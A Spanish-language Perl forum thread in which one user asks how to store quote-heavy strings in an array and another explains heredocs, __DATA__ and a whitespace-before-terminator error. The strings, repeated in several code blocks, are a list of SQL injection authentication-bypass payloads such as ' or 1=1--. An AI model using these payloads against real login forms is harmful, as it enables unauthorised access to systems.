Foro - Perl en Español

por **BigBear** » 2013-12-07 21:37 @942

Hace tiempo que quería meter todas estas líneas en un array pero la única solución que logré fue meterlas en un archivo de texto y leerlas desde ahí.

Las líneas son estas:

Sintáxis: [ Descargar ] [ Ocultar ]

Using text Syntax Highlighting

admin'--

'or'1'='1

'or'

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

- ' or 'x'='x

- ' or 'x'='x

'or'1 ou 'or''='

' or 'x'='x

admin' or 1==1

' OR "='

'or'1'='1Coloreado en 0.000 segundos,  usando GeSHi 1.0.8.4

Honestamente nunca me gustó ni convenció la alternativa de guardar en un archivo de texto estas líneas desgraciadas. Esta es la pregunta: ¿existe alguna forma de hacer este array con tantas ' " u otros signos raros?

my @array = split /\n/, <<'EOS';
admin'--
'or'1'='1
'or'
' or 0=0 --
" or 0=0 --
    or 0=0 --
' or 0=0 #
" or 0=0 #
    or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
    or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1
EOS
Coloreado en 0.003 segundos,  usando GeSHi 1.0.8.4

Los documentos incrustados son herencia de los shell.

Esta otra forma es mucho mejor: separa los datos, del código del programa:

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

#!/usr/bin/perl
 
chomp(my @array = <DATA>);
 
print "[$array[0]]\n";
 
__DATA__
admin'--
'or'1'='1
'or'
' or 0=0 --
" or 0=0 --
    or 0=0 --
' or 0=0 #
" or 0=0 #
    or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
    or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1
Coloreado en 0.002 segundos,  usando GeSHi 1.0.8.4

por **BigBear** » 2013-12-09 11:26 @518

explorer, estoy usando tu primer ejemplo pero cuando pongo código después del array me da este error:

Sintáxis: [ Descargar ] [ Ocultar ]

Using text Syntax Highlighting

Can't find string terminator "EOS" anywhere before EOFColoreado en 0.000 segundos,  usando GeSHi 1.0.8.4

por **explorer** » 2013-12-09 15:21 @681

El error dice que no encuentra la palabra "EOS", así que, no está o estará mal puesta.

por **BigBear** » 2013-12-09 18:48 @825

Pero si lo copié tal cual...

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

#!usr/bin/perl
 
    my @array = split /\n/, <<'EOS';
    admin'--
    'or'1'='1
    'or'
    ' or 0=0 --
    " or 0=0 --
        or 0=0 --
    ' or 0=0 #
    " or 0=0 #
        or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
        or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi') or ('a'='a
    hi") or ("a"="a
    - ' or 'x'='x
    - ' or 'x'='x
    'or'1 ou 'or''='
    ' or 'x'='x
    admin' or 1==1
    ' OR "='
    'or'1'='1
    EOS
Coloreado en 0.002 segundos,  usando GeSHi 1.0.8.4

por **explorer** » 2013-12-09 19:04 @836

No, no lo has copiado tal cual.

Fíjate que delante de 'EOS' hay espacios en blanco.

Perl no "suele" tener en cuenta los espacios en blanco, pero esta es una de esas situaciones.

Foro - Perl en Español

Cadenas literales dentro del código

Cadenas literales dentro del código

Publicidad

Re: Cadenas literales dentro del código

Re: Cadenas literales dentro del código

Re: Cadenas literales dentro del código

Re: Cadenas literales dentro del código

Re: Cadenas literales dentro del código

¿Quién está conectado?